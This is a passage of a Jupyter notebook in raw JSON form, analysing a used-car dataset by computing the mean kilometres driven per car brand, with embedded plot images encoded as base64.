qjLQn4vsU+/xaGvjTdGuO5ShoLR5SNcJpXuAX5kjBlxTCiTiMgxIhLamz6RoQqx/wG0Y6VrwHpfXmlfbxFWrt477PgFWKk6sF4b+40xPWLN3js1aQ8khP1t5FWs5+JRrNf9h8Ual3JjfbP6R5irPob1Gvo0VqCHOGJRInt6V2ANEIZ6EvgSViomEhuxHvQE4IvGGJ9YU4ieFJFLgFcY6jUtwhoIG8DKN34OmATcK0NTEL9j//4B1j94O9ZXcieg3gQ8IiI32W11PIX1dXsVVo/g28aYFhl9emeRiLyHlYLxY319/KV93kiPYTXgt7823ofVq/is/ZhasN6kAyLyI7v924ANo7QhmR7GGq8I7RH+AnhcRK7CyiOOyhjTbKfRlgDNwEqGPuhuBf4oIruxAub0MDdRLCK7Qv7+ZYTXG0uBiCzD6uw4qcSvAveIyLew0gXXjnDdrwEPicg3sHKtnTHcf8IYY3YB/5PONkSpFPiNiFRivW+2YKVonE7M17Ceh59jPdf3ishqrDEU58P8h8CjIrISK37ssI+/AHzRvvxGrNdHqjyKlTK93H7dfwfrvS/A88aYp4dfwRizVkTKgN3GmGb7cNhYFEkDtPyAiog9o+IiY8xV6W5LJhFr5lWvMcaIyOVYg6sXpbtdSiVtD1WVO0TkN8AFWDNy1KFOAW6z88IHsGbWKJV22nNXSqkcpLVllFIqB2lwV0qpHKTBXSmlcpAGd5UzRKRORB4TkQ9EZJ2IPC8iR6e7XUqlgwZ3lRPs2SpPYS3znmmMORb4LmlcWq9UOmlwV7niI1hL+QdL5Rpj3gPeCFdVTyKsVipWBcX/lcirlS4Sq+rjIdUgReRsEXnKaZuInCsif0KpJNF57ipXzMMqvDXcv2AtaT8Bq/rechF5zT7vBGAO0IFVdO4uY8wCe8XyV7BWR4JVjOvDwEzgFbHKAu8DzrVXUc/CWpHYaF/+JKwCZnuwSlycgbWC93YRqTXGOCteIynAplRMtOeuct1oVfWSUa0UwlSDtGsMPYhVXqISa0n5XxP+aJWyac9d5Yq1hC9eNlpVvURVK3UBvhFuN7TS471YdeJ9WGWDo97FSalIac9d5YqXsQqAXe8cEJH5WLW9Y67waYu4WulojLXD0B7g+1iF4pRKGu25q5xgF+76Z+BXYm0E7cMqSfw1rMqD0VT4HC6aaqVjeRiotTfJUCpptLaMUqMQkfuwtqp7YqzLRnh7twHvGmPuTsTtKTUS7bkrlSIi8g5WD/8b6W6Lyn3ac1dKqRykA6pKKZWDNLgrpVQO0uCulFI5SIO7UkrlIA3uSimVg/4fiORqzCcjk2IAAAAASUVORK5CYII=\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "p.plot(kind='line')" - ] - }, - { - "cell_type": "code", - "execution_count": 106, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Company\n", - "Ambassador 80000.000000\n", - "Audi 53184.885593\n", - "BMW 79489.363296\n", - "Bentley 48000.000000\n", - "Chevrolet 63039.479339\n", - "Datsun 19239.846154\n", - "Fiat 69797.357143\n", - "Force 44000.000000\n", - "Ford 63318.680000\n", - "Honda 54961.605263\n", - "Hyundai 51393.624210\n", - "ISUZU 22711.000000\n", - "Isuzu 34429.000000\n", - "Jaguar 36380.725000\n", - "Jeep 27799.800000\n", - "Lamborghini 6500.000000\n", - "Land 59869.016667\n", - "Mahindra 69172.327206\n", - "Maruti 53624.812552\n", - "Mercedes-Benz 48766.745283\n", - "Mini 24890.307692\n", - "Mitsubishi 82250.629630\n", - "Nissan 65409.010989\n", - "Porsche 40046.777778\n", - "Renault 52888.924138\n", - "Skoda 68509.161850\n", - "Smart 103000.000000\n", - "Tata 67313.768817\n", - "Toyota 83642.445255\n", - "Volkswagen 57196.939683\n", - "Volvo 70539.666667\n", - "Name: Kilometers_Driven, dtype: float64" - ] - }, - "execution_count": 106, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# checking condition for second hand car sales\n", - "km = data_trimmed.groupby('Company').Kilometers_Driven.mean()\n", - "km" - ] - }, - { - "cell_type": "code", - "execution_count": 107, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 107, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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